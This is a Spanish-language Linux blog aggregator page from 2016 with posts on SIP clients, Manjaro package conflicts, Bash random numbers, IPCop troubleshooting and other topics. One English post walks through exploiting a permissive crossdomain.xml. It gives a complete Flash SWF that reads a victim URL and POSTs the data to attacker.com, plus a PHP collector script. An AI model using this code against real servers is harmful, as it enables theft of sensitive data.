Estoy seguro que si hubiera puesto otra imagen que no existiera ya, de alguna manera, en el subconsciente de las personas que vieron mi publicación, algo llamativo, como un signo de alerta con un texto o simplemente algo diferente a la imagen del acertijo, las personas que lo contestaron hubieran reaccionado de manera diferente, es decir, al visualizar una imagen que probablemente ya habían visto, la lógica o el sentido común les dictó que la reacción obvia era contestar, no leer el texto que acompañaba a la imagen. Lo que sí definitivamente me parece extraño es que, a pesar de que nuestras mentes funcionan y reaccionan mas o menos diferente, a un nivel básico, sin importar el grado de inteligencia, no se use el juicio personal para analizar cada cosa que uno publique por ejemplo el LinkedIn, dada su naturaleza de profesionistas y el grado de reputación que hasta cierto punto debe mantenerse a nivel personal, aun cuando es Internet, sin embargo, ese juicio parece estar superado por el instinto básico natural que nos da el sentido de la vista, en este caso, el de nuestro acertijo.

Martes 07 de junio de 2016

Fco. de la Torre Inguanzo

Fco. de la Torre Inguanzo
Linux y Software Libre – LINUXMANR4

El mejor cliente SIP para Android

LINUXMANR4
LINUXMANR4 - de linux y otras cosas... linux, manjaro, elastix, software libre

Un cliente SIP es una aplicación que te permite enlazarte a un conmutador telefónico que utiliza el protocolo SIP para hacer o recibir llamadas como cualquier otra extensión telefónica de tu instalación.

el mejor cliente sip para android

Les recuerdo que en mi caso utilizo Elastix que es una distribución de Linux basada en CentOS especializada en PBX o lo que es lo mismo, en conmutadores telefónicos pero que utilizan software libre.

Tener una aplicación de estas en tu teléfono puede resultar muy cómodo, es como si tuvieras un teléfono inalámbrico a la mano, siempre y cuando te localices en un área que tenga cobertura WiFi. Yo lo uso mucho si me tengo que alejar de mi escritorio, entonces activo el desvío de llamadas a la extensión que tengo configurada en mi celular y de ese modo sigo recibiendo llamadas.

Para tener en cuenta: Zoiper Softphone

Durante mucho tiempo fue mi app favorita solamente por una razón. Esta aplicación permite configurar extensiones IAX2 que es un protocolo desarrollado específicamente para asterisk y técnicamente es muy superior a SIP. Sin embargo, por alguna extraña razón, de un tiempo a la fecha, esta aplicación empezó a crecer mucho en tamaño y en permisos. Lo peor es que después de una actualización comenzó a crashear continuamente y así no se puede trabajar. No tuve más alternativa que quitarla de mi teléfono. Es un claro ejemplo de que no todas las actualizaciones son buenas. Pero de igual modo lo pueden probar, uno nunca sabe 🙂

zoiper, cliente SIP para AndroidLa principal ventaja de este cliente es que soporta extensiones IAX2

El mejor cliente SIP para Android: CSipSimple

Y ahora mismo les explico porque lo considero la mejor opción. Para empezar se trata de un proyecto Open Source GPL muy robusto. Su tamaño es adecuado para una gran variedad de teléfonos y con todas las opciones que incluye y su configuración es muy sencilla.

Además está disponible en la tienda de aplicaciones F-Droid que tiene un extenso catálogo de aplicaciones FOSS (Free and Open Source Software).

Esta limitado a extensiones con protocolo SIP, pero lo que hace lo hace muy bien y lo mejor de todo, es que no se me ha bloqueado ni una sola vez desde que la instalé.

Como se configura CSipSimple.

Instalar CSipSimple

Primero hay que instalar la aplicación y lo pueden hacer desde Google Play o usando el catálogo de F-Droid.

Dar de alta una extensión en Elastix

Pueden dar de alta una extensión nueva en elastix (es lo que prefiero) o identificarse con una que ya esté dada de alta. En lo personal me gusta distinguir entre una extensión de escritorio y una móvil.

Tomen nota del número de extensión y del secret de la extensión que es la contraseña.

Configuración de la extensiónAgregando una extensión a Elastix.

Configurar la extensión en el teléfono

Abrimos la aplicación y seleccionamos el ícono que está en la parte inferior izquierda, la que tiene forma de llave.

Agregar cuentasUn poco escondida la opción para agregar cuentas.

Nos dará la oportunidad de agregar una cuenta, buscamos la opción que dice Asistentes Genéricos y luego en Basic.

Asistentes genericosCSipSimple tiene una buena cantidad de asistentes para varios proveedores.

En el asistente Básico llenamos los campos con los valores que necesita…

Opciones de configuración de la cuentaA llenar el formulario.

Si todo lo llenaste correctamente inmediatamente después de guardar la cuenta te aparecerá una notificación informándote que tu cuenta está conectada y por lo tanto podrás hacer y recibir llamadas como cualquier otra extensión telefónica de tu instalación.

¿Conoces otro cliente SIP para Android mejor? ¡Me gustaría darle un vistazo!

El mejor cliente SIP para Android
Linuxman.

Viernes 03 de junio de 2016

Octavio Alvarez

Octavio Alvarez
Planeta Linux –

Feed al podcast Dr. IPv6

LAC-TF es la Fuerza de Trabajo de IPv6 en la región de Latinoamérica y el Caribe

LAC-TF es la Fuerza de Trabajo de IPv6 en la región de Latinoamérica y el Caribe

Dr. IPv6 es un podcast en español preparado por LAC-TF y dirigido por Alejandro Acosta en el que se busca a especialistas para contestar preguntas que tenga la comunidad sobre IPv6. Puedes enviar tus preguntas a dr.ipv6@lacnic.net.

Debido a que el podcast aún no tiene un feed RSS, sólo los audios, decidí hacer un feed para poder agregar este útil e intersante podcast a mi Rhythmbox y AntennaPod.

Aquí lo comparto con ustedes. Se actualiza cada hora según lo que se publique en la página oficial de Dr. IPv6, extrayendo los metadatos y convirtiéndola en formato RSS. Siéntete en la libertad de usarlo para agregar Dr. IPv6 al “podcatcher” de tu preferencia.

La dirección de los feeds:

Dr. IPv6 en formato Ogg: http://blog.alvarezp.org/dripv6/feed-ogg/feed.xml

Dr. IPv6 en formato MP3: http://blog.alvarezp.org/dripv6/feed-mp3/feed.xml

Domingo 29 de mayo de 2016

Carlos Augusto Lozano

Carlos Augusto Lozano
tail -f /dev/mind > blog

Exploiting a crossdomain.xml to extract sensitive information from the server

Some days ago I reviewed and application residing on a server which included a file crossdomain.xml, allowing the access from other domains without restrictions.

To exploit it is necessary create a malicious SWF to extract the information. To do that first you need to create the SWF, like this:

 // Author: Gursev Singh Kalra (gursev.kalra@foundstone.com)
// XDomainXploit.as
// Thanks - http://help.adobe.com/en_US/as3/dev/WS5b3ccc516d4fbf351e63e3d118a9b90204-7cfd.html#WS5b3ccc516d4fbf351e63e3d118a9b90204-7cf5
package {
	import flash.display.Sprite;
	import flash.events.*;
	import flash.net.URLRequestMethod;
	import flash.net.URLRequest;
	import flash.net.URLLoader;

	public class XDomainXploit extends Sprite {
		public function XDomainXploit() {
			// Target URL from where the data is to be retrieved
			var readFrom:String = “http://victim.com/supersecret”;
			var readRequest:URLRequest = new URLRequest(readFrom);
			var getLoader:URLLoader = new URLLoader();
			getLoader.addEventListener(Event.COMPLETE, eventHandler);
			try {
				getLoader.load(readRequest);
			} catch (error:Error) {
				trace(“Error loading URL: ” + error);
			}
		}

		private function eventHandler(event:Event):void {
			// URL to which retrieved data is to be sent
			var sendTo:String = “http://attacker.com/store”
			var sendRequest:URLRequest = new URLRequest(sendTo);
			sendRequest.method = URLRequestMethod.POST;
			sendRequest.data = event.target.data;
			var sendLoader:URLLoader = new URLLoader();
			try {
				sendLoader.load(sendRequest);
			} catch (error:Error) {
				trace(“Error loading URL: ” + error);
			}
		}
	}
}

Edit the URL's with your URL's. Then compile it using the FLEX binary and create a PHP file to wait for the information extracted; like this:

$data = file_get_contents(“php://input”);
$ret = file_put_contents('/tmp/thanks_for_sharing.txt', $data, FILE_APPEND | LOCK_EX);
if($ret === false) {
 die('Error writing to file');
}
else { 
 echo “$ret bytes written to file”;
}

And upload it to a server to get the information extracted from the vulnerable server.

-_-U the problem is, where is the path? rights?… well… the exploit works!

Lunes 23 de mayo de 2016

Gustavo Rubio

Gustavo Rubio
Ahí vamos

De propinas e inocencia perdida

Ayer por la mañana recibíamos visita familiar a la casa a desayunar así que me apresuré a ir a la tienda (o supermercado como le dicen mis amigos chilangos) a comprar algunas de las cosas que nos hacían falta. No cargaba efectivo, solo un billete de 100 pesos y mis tarjetas. Al terminar la cajera de pasar los productos saco mi tarjeta para pagar, recojo mis 2 bolsas de mandado y le digo a la señora que me lo empacó que “Se lo debía para la otra” pues pagué con la tarjeta y no traía feria o cambio, la señora me lanza una mirada seca y me dice “No importa joven, está bien“…

Por supuesto que no le iba a dar 100 pesos de propina y la verdad tenía prisa como para ir a feriar el billete.

Hace muchos años que no veo niños o adolescentes empacando mandado. Será por una cuestión de leyes de protección al menor supongo. La mayoría de los establecimientos usualmente son atendidos por personas de la tercera edad.

Me considero una persona generosa, sobre todo cuando se me brinda un buen servicio, sin embargo he aprendido también, conforme he crecido, a no recompensar a quien no se lo merece. Cuando estaba en los inicios de mis 20’s solía darle propina a cualquier persona que me brindaba servicio, al que me “regalaba” una estampita de judas en el camión, al que me decía que lo “habían echado del otro lado“, todo sin cuestionar, como de alguna manera tratando de entender y subsanar la desgracia ajena. Después entendí que, como dice el dicho, “Ni están todos los que son, ni son todos los que están” y que hay que tener criterio para saber cuando y donde ayudar.

Parte de ese proceso ha sido evitar cargar con una cruda moral cuando incluso a alguien que considero debe ser recompensado no lo es. Llegué tan lejos como cargar siempre monedas tanto conmigo como en el carro destinadas única y exclusivamente a esta actividad porque, bueno, cualquiera que viva en México en una ciudad mas o menos grande sabrá que prácticamente hay que “darle dinero” a todo mundo; al guardia del restaurante, al que empaca el mandado, al que limpia el vidrio, etc. La cuestión es que, independientemente de que una persona se merezca ser recompensada no siempre estamos preparados para ello y eso no nos hace menos humanos, es simplemente una cuestión de prácticidad, tiempo y conveniencia.

Cuando los empacadores en los mercados eran menores de edad solían siempre decir al final del trabajo de empaque de cada cliente “Que le vaya bien”, “Que tenga buena tarde” o algunos incluso “Gracias” sin siquiera haber recibido propina alguna. Se usaban unas pequeñas cajitas con una leyenda que decía “Su propina es mi sueldo. Gracias!” como diciendo de una manera muy modesta pero acertada que si uno no aventaba unas monedas a la caja el empacador se iba a ir a casa con las manos vacías. Cuando el cliente terminaba de juntar sus bolsas simplemente aventaba unas monedas a la caja y se retiraba. El empacador, como estrategia, guardaba las monedas cada cierto tiempo, como haciendo un “corte de caja” y dejaba unas pocas cuando esta ya tenía suficiente a manera de motivar a los siguientes clientes a seguir dejando propina al verla medio vacía. Al final del día se juntaba el total, se canjeaba por billetes y el día terminaba, mezcla de quienes si eran generosos y quienes no tanto. Algunos, como yo el día de ayer, simplemente daban las gracias y se iban.

Hoy en día que los empacadores son personas adultas, aun cuando son “viejitos” y se les considera tiernos por alguna equivocada percepción social la situación suele ser muy diferente: algunos empacan las cosas de manera desordenada o sin cuidado, no saludan al cliente o en el peor de los casos simplemente son indiferentes, como renegando de su situación, transmitiendo ese sentimiento al cliente. La “cajita” ya no existe y ahora usualmente se les deposita algunas monedas en la mano, acción que sirve para demostrar, en la mayoría de los casos, cual será la reacción de la persona dependiendo la cantidad de dinero con la que se recompense. Una vez recibido el dinero, por instinto, y olvidando que es de mal gusto, voltearán a ver la cantidad y replicarán con un eufórico “Gracias” si se ha depositado 10 pesos por un par de bolsas o con indiferencia si por el contrario solo nos sobraron 2 pesitos y se empacó un carrito lleno.

La diferencia entre actitud  de servicio, nobleza y motivación entre un niño y una persona adulta es abismal. Me recuerda la canción “Pequeño” de Enrique Bunbury:

Cuando era pequeño me enseñaron
a perder la inocencia gota a gota
que idiotas

Cuando fui creciendo aprendí
a llevar como escudo la mentira
que tontería

De pequeño me enseñaron
a querer ser mayor
de mayor voy a aprender a ser pequeño

Cada que voy al mercado recuerdo que debemos aprender a ser pequeños, en actitud, de vez en cuando. También recuerdo que alguna vez fui empacador, mi primer trabajo, y que aunque había personas  no tan generosas, siempre manteníamos una actitud de servicio y respeto, despidiendo a todos de igual manera, con un “Que le vaya bien” y esperando tener mejor suerte con el siguiente.

Domingo 22 de mayo de 2016

Carlos Augusto Lozano

Carlos Augusto Lozano
tail -f /dev/mind > blog

Application security @ Mérida

My friend Zodman invited my to talk about application security, some real examples and how to implement a security program for development companies. Very interesting talk.

Look at the Zodman's projects, he's doing a lot of cool stuff around Python and open source. I hope I'll be back at Mérida again :)

Note: I erased the demo screenshots because they were real examples.

platica_appsec.pdf by BelindoFan

Sábado 21 de mayo de 2016

Carlos Augusto Lozano

Carlos Augusto Lozano
tail -f /dev/mind > blog

Application security @ Yucatán

platica_appsec.pdf by BelindoFan

Viernes 20 de mayo de 2016

Emerson Posadas

Emerson Posadas
toxickore BLOG

Profundo ejercicio de aprendizaje

No escribo nada aquí últimanente, pero se lo he mencionado a varios de mis amigos en esta semana:
Si un día quieren aprender de infraestructura, pero nada de teoría y libritos, monten una openvpn lan to lan para que cada subred pueda tener conectividad entre ambas.

Esta guía a pesar de ser breve, es muy efectivo para este ejercicio de aprendizaje:

https://openvpn.net/index.php/open-source/documentation/howto.html


Gracias @redimido, que me estuvo echando mucho la mano con este setup. Sin sus tips and tricks no hubiera finalizado esto tan rápido.

Miércoles 18 de mayo de 2016

Planeta Gruslic: Mario Oyorzábal: capsula cifrada del tiempo

Martes 17 de mayo de 2016

Fco. de la Torre Inguanzo

Fco. de la Torre Inguanzo
Linux y Software Libre – LINUXMANR4

Conflictos entre freetype2 y freetype2-infinality

LINUXMANR4
LINUXMANR4 - de linux y otras cosas... linux, manjaro, elastix, software libre

En la última actualización de Manjaro me marcó conflictos entre freetype2 y freetype2-infinality. Ambos programas se encargan de mostrar adecuadamente las fuentes en la pantalla.

manjaro-1606rc1

El 15 de mayo anunciaron esta actualización Manjaro 16.06 – first release candidate released y por lo tanto procedí a actualizar mi sistema utilizando el script allservers . Lo malo fue que al revisar conflictos me aparece este mensaje.

freetype2 and freetype2-infinality are in conflict. Remove freetype2-infinality? [y/N]
Y no hay forma de continuar con la actualización. Al parecer el paquete freetype2 es requerido por una gran cantidad de programas que se utilizan en Cinnamon.

La solución

Esperé unos días y encontré un problema muy similar al mío en los nuevos foros de Manjaro [Testing Update] 2016-05-11 – KDE Apps 16.04.1, Plasma 5.6.4, Gnome 3.20.2, MSM, Calamares en el que más adelante daban una posible solución que consiste en regresar a Manjaro a una configuración más natural (o sea que sin tantas personalizaciones de mi parte).

sudo pacman -S --asdeps freetype2 cairo fontconfig
De esa forma pude quitar el paquete freetype2-infinality y continuar con la actualización sin problemas.
Leyenda:
(OK):descarga completada.
(3/3) comprobando las claves del depósito [----------------------] 100%
(3/3) verificando la integridad de los paquetes [----------------------] 100%
(3/3) cargando los archivos de los paquetes [----------------------] 100%
(3/3) comprobando conflictos entre archivos [----------------------] 100%
(4/4) comprobando el espacio disponible en el ... [----------------------] 100%
:: Procesando los cambios de los paquetes...
(1/1) quitando freetype2-infinality [----------------------] 100%
 freetype2-infinality was removed.
(1/3) instalando freetype2 [----------------------] 100%
(2/3) reinstalando fontconfig [----------------------] 100%
updating font cache... done.
(3/3) reinstalando cairo [----------------------] 100%
Espero que este consejo les sirva, si es que llegan a tener este conflicto entre paquetes.

Conflictos entre freetype2 y freetype2-infinality
Linuxman.

Octavio Alvarez

Octavio Alvarez
Planeta Linux –

Actualización sobre cointoss en Bash para evitar azar cargado

Hace unas 3 semanas publiqué una nota personal para implementar “cosstoin” en Bash:

cointoss() {
    # Probability is $1/$2, for example, cointoss 3 5
    # will hit 60% of the time. Defaults to 1/2 if no
    # arguments are supplied.
    [ $((RANDOM % ${2-2})) -lt ${1-1} ];
}

Actualización

Sin embargo, como bien me lo indica dualbus, este volado está cargado cuando la cantidad de caras en la moneda, el denominador (indicado por $2), no es múltiplo de 2. Y me hace llegar la implementación para azar balanceado que greybot recomienda en #bash en Freenode:

rand() {
    local max=$((32768 / $1 * $1)) r
    while (( (r=$RANDOM) >= max ))
    do
        :
    done
    echo $(( r % $1 ))
} ## Returns unbiased random number from 0 to ($1-1) inclusive, $1 <= 32768

La razón es sencilla: cuando se invoca la variable RANDOM en Bash, regresa un valor entero entre 0 y 32,767. Estos 32,768 posibles valores no se pueden dividir exactamente en N grupos cuando N no es múltiplo de 2; siempre quedan algunos grupos con más valores posibles. La “carga” cambia según el denominador.

La única manera de evitar este efecto es que si RANDOM cae en valores sobrantes, se repita la invocación a la variable RANDOM. De esta manera se garantiza el balanceo de la distribución probabilística, aunque no sea posible garantizar que el resultado se logre siempre en menos de K intentos.

Ejemplo cuando el denominador es 3

Si queremos dividir los 32,768 valores en 3 grupos:

  • X mod 3 == 0 lo cumplen 10,923 valores: 0, 3, 6… 32,763 y 32,766.
  • X mod 3 == 1 lo cumplen 10,923 valores: 1, 4, 7… 32,764 y 32,767.
  • X mod 3 == 2 lo cumplen sólo 10,922 valores: 2, 5, 8… y 32,765.

El 32,768 ya no forma parte del conjunto de resultados de RANDOM. Esto significa que hay una desventaja para X mod 3:

  • X mod 3 == 0: 33.3343506%
  • X mod 3 == 1: 33.3343506%
  • X mod 3 == 2: 33.3312988%

La diferencia es de 0.0030518% entre extremos, un incremento de 0.009156%.

Si ejecutamos 1,000,000 de veces cointoss 1 3, espero un hit 33.3…% de las veces (más/menos el error causado por el azar). El resultado medido 5 veces cae entre 33.27% y 33.38%. El valor esperado cae dentro de lo medido.

Ejemplo cuando el denominador es 24,576 (forzando el bug)

¿Qué pasa si llamamos cointoss 16384 24576?

  • X mod 24576 == 0 lo cumplen 2 valores: 0 y 24,576.
  • X mod 24576 == 1 lo cumplen 2 valores: 1 y 24,577.
  • X mod 24576 == 2 lo cumplen 2 valores: 2 y 24,578.
  • X mod 24576 == 8190 lo cumplen 2 valores: 8190, 32766.
  • X mod 24576 == 8191 lo cumplen 2 valores: 8191, 32767.
  • X mod 24576 == 8192 lo cumple 1 valor: 8192.
  • X mod 24576 == 8193 lo cumple 1 valor: 8193.
  • X mod 24576 == 24573 lo cumple 1 valor: 24573.
  • X mod 24576 == 24574 lo cumple 1 valor: 24574.
  • X mod 24576 == 24575 lo cumple 1 valor: 24575.

Entonces, para los grupos de 2 valores, la probabilidad de salir es de 0.0061035%, mientras que para los grupos de 1 valor, la probabilidad de salir es de 0.0030518, una diferencia de 0.0030518%, ¡pero un incremento de 200%!

Si ejecutamos 1,000,000 de veces cointoss 16384 24576, espero un hit 66.6…% de las veces (más/menos el error causado por el azar). El resultado medido 5 veces cae entre 74.95% y 75.07%. ¡El valor esperado no cae dentro de lo medido!

De nuevo, gracias a dualbus por el apunte.

Sábado 07 de mayo de 2016

Planeta Gruslic: Mario Oyorzábal: codigo malicioso, el uso de antivirus

Viernes 06 de mayo de 2016

Fco. de la Torre Inguanzo

Fco. de la Torre Inguanzo
Linux y Software Libre – LINUXMANR4

IPCop sin internet ¡Un misterio por resolver!

LINUXMANR4
LINUXMANR4 - de linux y otras cosas... linux, manjaro, elastix, software libre

Durante 3 días tuve un servidor IPCop sin internet, sin razón aparente dejó de funcionar o más bien funcionaba pero no compartía el internet. Como se pueden imaginar, fue todo un caos en el trabajo y aunque le dediqué todo mi tiempo no pude resolverlo inmediatamente. Los invito a que me acompañen durante este viaje para dar con el asesino de mi conexión a internet.

Comportamiento extraño.

Lo normal al llegar al trabajo es encender la computadora, cuando hago esto automáticamente se ejecuta un script que se llama rubyping y que revisa que estén activos los elementos más importantes de mi red, si algo esta mal, entonces me manda un correo electrónico avisándome de algún problema, pero esa mañana estaba todo normal.

Después de un rato ¡PUFFF! se esfumó el internet, hago ping a la interfaz GREEN (red local) de IPcop y todo bien. Hago ping a una dirección IP conocida de mi proveedor de internet y me indica que tengo conexión y tiempos de respuesta adecuados. Entonces ¿Qué pasó? ¿A dónde &%$@! se fue el Internet?

Primer sospechoso, mi proveedor de Internet.

Tengo instalado nload para vigilar el ancho de banda que ocupa en tiempo real mi servidor IPCop y me di cuenta de que aunque la conexión con mi proveedor estaba activa el flujo de datos era ridículamente pequeño, sólo algunos cuantos kbps lograban salir por la tarjeta de red RED (red pública).

Así que marque el teléfono de soporte y parece que hicieron algunos ajustes, mejoraba un poco pero se volvía a ir después de un tiempo. Tuvieron que venir a mis instalaciones a verificar lo que estaba pasando y que creen ¡En la laptop del personal de soporte funcionaba PERFECTAMENTE!. Navegación ¡Claro!, un Speedtest ¡Por supuesto!, regresan el cablecito a mi servidor IPCop y pueeeesnnn, regular, más o menos y como se podrán imaginar, en cuanto se fueron los amigos, con ellos se fue el internet. ¡GRRRRRRRR!

Seguí revisando mi servidor IPCop y nada, les volví a hablar y regresaron más tarde, cambiaron el radio, hicieron varias pruebas y todo parecía funcionar correctamente, conecté el cable a mi servidor y parecía que todo estaba funcionando correctamente, pero solo en apariencia. Tuve que soportar los comentarios de que mejor me cambiara a Windows que Linux no servía y cosas por el estilo, algo que no me hizo mucha gracia que digamos.

Le toca el turno al hardware.

Al llegar parecía que la emergencia había pasado, inicié operaciones normalmente, revisar algunos correos y como a eso de las 9 de la mañana ¡PUUUUUM! otra vez se fue el Internet, mismo comportamiento que el día anterior, pero ya no le podía achacar la culpa a mi proveedor de Internet, después de todo un día antes ya me había demostrado la calidad del enlace así que tenía que buscar por otro lado.

Si la conexión estaba perfecta el siguiente sospechoso en turno era el hardware y era muy posible porque es un equipo que ya tiene varios años en funcionamiento. Lo primero fue cambiar la tarjeta de red que se encarga de RED, puesto que a mi juicio la tarjeta asignada a la red GREEN funcionaba bien. Bueno terminé cambiando las dos y nada.

A estas alturas ya era el segundo día sin conexión a Internet y la presión de los usuarios se estaba acumulando peligrosamente. Para descartar cualquier falla del servidor junté todo lo necesario para hacer otro de emergencia. Afortunadamente IPCop no es muy exigente en cuanto a los requerimientos mínimos del sistema. Ya con mi servidor de emergencia armado me di a la tarea de instalarlo, pero con muy poca suerte, en cuanto lo enchufé le pasó exactamente lo mismo que al anterior.

¿Mi red?

Si no era mi proveedor y no era el servidor ¿Podría ser algo en mi red que estuviera afectando el servicio?, tenía algo de lógica, por eso funcionaba con la laptop del ingeniero de servicio pero con mi red dejaba de hacerlo casi de inmediato.

Además en otra ocasión tuve un caso similar en la que un usuario tumbó mi red por una ocurrencia de su parte. Aunque esta vez no veía un tráfico elevado, al contrario, estaba teniendo poco.

Así que al día siguiente decidí desconectar todos los elementos de mi red y conectarlos de uno por uno hasta detectar a un posible culpable. Básicamente destejí toda mi red para recrearla poco a poco, pero tampoco funcionó 😕 .

Ya era el tercer día y me di cuenta de varios detalles curiosos. El primero que noté es que el Internet desaparecía y regresaba en horarios más o menos establecidos, alrededor de las 9 de la mañana para volver a las 5 o 6 de la tarde y continuar perfectamente durante toda la noche.

internet de nocheInternet sí, pero solo por las noches.

También noté que tenía respuesta si hacía ping a la ip de mi proveedor de internet, pero un ping a google.com daba como resultado que no encontraba la dirección del dominio ¡Eso no tiene lógica!.

Me estaba quedando sin opciones, estuve a punto de comprar un ruteador de emergencia, pero después de todo, mi servidor IPCop había funcionado bien por años sin mayores dificultades y aún desconocía que era lo que provocaba la falla, sabía los efectos pero no la causa.

Al tercer día ¡Habemus Internet!

Al tercer día, ya sin muchas opciones le hablé a mi proveedor de Internet para probar una teoría improbable.

Dormido (si, soy de los que se lleva los problemas a la almohada) se me ocurrió que podría haber un conflicto de IP’s, así que le comenté eso al mero mero, al que sí sabe, al jefazo, al sysadmin, al BOFH de mi ISP ese detalle y me sugirió que intercambiaramos direcciones IP.

¡Magia! en cuanto se activaron los cambios regresó el Internet con los bríos acostumbrados, todo regresaba a la normalidad y al fin pude respirar con tranquilidad. Ahora la pelota estaba del otro lado de la cancha, tenía mucho trabajo dejando todo como estaba y mientras tanto monitoreaba que todo siguiera funcionando correctamente.

Ese mismo día recibí una llamada, al parecer un ingeniero “creativo” configuró mal su router que prendía al llegar al trabajo y apagaba al salir, el resultado fueron 3 días de terror para mi departamento de sistemas (o sea yo). Al final, la falla estaba fuera de mis instalaciones, en algún lugar de la Comarca Lagunera, ¡Todo un caso de estudio!

Offended-Seriously-Computer-Guy-Meme

 

Lo que aprendí de esta experiencia.

Primero, que el comando setup en IPCop sirve para ajustar la configuración del servidor de forma muy sencilla y aplicar cambios inmediatamente.

setup en ipcopGracias a setup pude hacer reajustes a la configuración de IPCop sin la necesidad de reinstalarlo.

Y lo segundo es que nunca, nunca, pero nunca voy a desconfiar de mi Linux, claro que puede haber problemas, pero tiene que haber una causa, identificarla es lo más importante.

Espero no haberlos aburrido mucho con esta historia, pero es que en serio, fue un problema que me volvió loco por días enteros y si alguien, por alguna extraña razón, tiene un problema similar a este, espero que lo arregle en poco tiempo sin perder la razón y el pelo.

¡Hasta la próxima!

 

 

IPCop sin internet ¡Un misterio por resolver!
Linuxman.

Planeta Gruslic: Max Valdez: honeypot para web: glastopf sobre raspberry pi

Domingo 01 de mayo de 2016

Promoviendo Software Libre: Instalación de Wordpress en GNU/Linux

Lunes 25 de abril de 2016

Gerónimo Orozco

Gerónimo Orozco
Patux's booring news

(Sin Título)

Registrate




Siempre han existido dudas respecto OpenStack y containers. Lo importante aquí es dejar en claro que ya se encuentra en etapa de desarrollo una herramienta que ofrece este tipo de servicios para el desarrollo de aplicaciones en una nube de OpenStack. Magnum ofrece motores de orquestación para hacer deployment y manejo de contenedores en OpenStack. Y ofrecerlos de este modo a los usuarios de la nube. Se hablaría de sus componentes y pasos básicos de configuración, y si se puede, un ejemplo práctico, si no, pantallazos practicos.

Gerónimo Orozco

Gerónimo Orozco
Patux's booring news

Deploying my first OpenStack app

Registrate


Esta vez Marcela Bonell @mbonell miembro de la comunidad de UX de OpenStack nos dara un tutorial para crear nuestra primera app usando una nube OpenStack.

My First App es un tutorial disponible en el portal de developers de OpenStack que sirve como guía para desarrolladores que quieren crear aplicaciones que corran sobre OpenStack.

En esta sesión los asistentes conocerán los diferentes SDK’s disponibles para desarrollar apps, interactuarán con OpenStack a través de Shade (Python SDK ) y harán el deploy de "My First App” en TryStack http://trystack.org/.

Pre-requisitos:

Miércoles 20 de abril de 2016

Alex Callejas

Alex Callejas
|rootzilopochtli.com|

FLISol 2016

El Festival Latinoamericano de Instalación de Software Libre (FLISoL), es el mayor evento de difusión del Software Libre que se realiza desde el año 2005 en diferentes países de manera simultánea. Es una oportunidad para todas aquellas personas interesadas en conocer más acerca del software libre. Participando es posible entrar en contacto con el mundo del software libre, conocer a otros usuarios, resolver dudas e interrogantes, intercambiar opiniones y experiencias; asistir a charlas y otras actividades programadas. Como es de suponer, la asistencia al evento es totalmente libre y gratuita.

Personalmente, es un evento al que me gusta asistir y ayudar a toda la gente que quiere acercarse al Software Libre.

Para esta edición, inicialmente, estaré dando una plática-taller de Seguridad y Hardening en la FES Acatlán, el próximo viernes 22 de Abril, a las 9 AM. Les comparto la página oficial de la sede, para que chequen todas las actividades que se están realizando esta semana.

Espero me puedan acompañar 🙂

FLISoL-2015

Jueves 14 de abril de 2016

Rafael Bucio

Rafael Bucio
Rafael Bucio ⠠⠵

#WordPress Solución Error 500: upgrade.php?_wp_http_referer=%2Fwp-admin

Cuando quería actualizar un wordpress, la pagina en el wp-admin, me apareció en blanco, con la siguiente URL upgrade.php?_wp_http_referer=%2Fwp-admin, el cual no me dejaba entrar al panel de administración.  Este error tiene más de dos soluciones, por lo general intente con varias hasta que decidí aumentar el WP_MEMORY_LIMIT. {+info}

Primera solución:

  1. Descarga la Versión siguiente de tu WP {versiones}
  2. Entra VIA FTP a tu sitio y deja caer los archivos, para que renombre.
  3. Entra al wp-admin y actualiza tu BD desde WP

Si no te funciono esto regresa a la versión que tenías :P.

Segunda Solución:

Una vez subida de forma manual en el FTP, pones los archivos del WP, aumentas el WP_MEMORY_LIMIT de tu wp-config:

define('WP_MEMORY_LIMIT', '256M');

Aquí intente con 64, 128, hasta llegar a 256, es recomendable ver cuanto soporta tu host, si tienes un WP con mucha carga en la BD tardará un poco la actualización de la BD desde el WP, no desesperes.

6r3375.

Jueves 07 de abril de 2016

César Yáñez Fernández

Two Positions for Software Developer Open

Position 1: Front End Developer in Guadalajara

Responsabilities

  • Design, develop, and maintain Google App Engine applications
  • Build high-performance, scalable web applications to serve business intelligence needs
  • Write well-documented, maintainable code
  • Create functional, easy-to-understand, usable user interfaces
  • Provide port for production issues related to data access and visualization
  • Collaborate with other teams to address users’ needs

Qualifications

  • Front-end web development experience including JavaScript, HTML, and CSS
  • Understanding of REST and other current approaches to web application development
  • Data visualization skills
  • Experience creating projects on Google Cloud Platform, including Google App Engine
  • Experience with D3.js, Ember Charts, Google Visualization API, or other JavaScript data visualization libraries
  • Experience with AngularJS
  • Knowledge of relational databases and non-relational data storage.

Position 2: Back End/Python Developer in Mexico City

Responsabilities

  • Design, develop, and maintain Google App Engine applications
  • Build high-performance, scalable web applications to serve business intelligence needs
  • Write well-documented, maintainable code
  • Create functional, easy-to-understand, usable user interfaces
  • Provide port for production issues related to data access and visualization
  • Collaborate with other teams to address users’ needs.

Qualifications

  • Python or Java programming experience
  • Understanding of REST and other current approaches to web application development
  • Data visualization skills
  • Experience creating projects on Google Cloud Platform, including Google App Engine;
  • Knowledge of relational databases and non-relational data storage.

Contact

If you have a projects portfolio with the source code available, please provide it in your résumé as to which position you are willing to apply.

You know the way to contact me for any questions or comments.

Domingo 27 de marzo de 2016

[charla] bitcoin, la evolucion del dinero

Te invito este próximo 9 de Abril del 2016, a la charla “Bitcoin, La Evolución del Dinero”, la cual se presentara de manera gratuita y abierta al público en general, en la “Casa de Cultura, Coronel Francisco Franco Salazar” ubicado en Anenecuilco:

20160409 - bitcoin, la evolucion del dinero

El nivel de la charla no es técnico, la intensión es dar a conocer este tipo de temas, que nos afectan a todos, sin importar nuestros conocimientos o a que nos dediquemos.

La charla es de 1 hr. 30 min., veremos como a cambiado el dinero con el tiempo, que es lo que se vendrá y como bitcoin esta cambiando todo ese panorama, mejorando el manejo de confianza y llevando las herramientas financieras que tenemos al siguiente nivel, es un tema interesante.

El evento es totalmente gratuito en si, pero, por gastos que son naturales en la organización se tiene un costo para quienes deseen tener una constancia, el costo de la constancia es de $100 mxn.

Si te interesa asistir y tienes cuenta en facebook, visita de favor, la página del evento aquí, danos a conocer si te interesa asistir, esto con fines estadísticos y para que los organizadores tengan información de la cantidad de personas que puede asistir, así no estarás parado todo el evento ;-).

Para cualquier duda o comentario sobre el evento, así como también si no tienes facebook, de favor envía un e-mail aquí.

Nos vemos por allá :-).

Martes 15 de marzo de 2016

César Yáñez Fernández

Se regala Raspberry Pi

Características

Es un Raspberry Pi de primera generación, modelo B, con las siguientes características:

  • 1 Salida de Audio 3.5mm
  • 2 Puertos USB 2.0
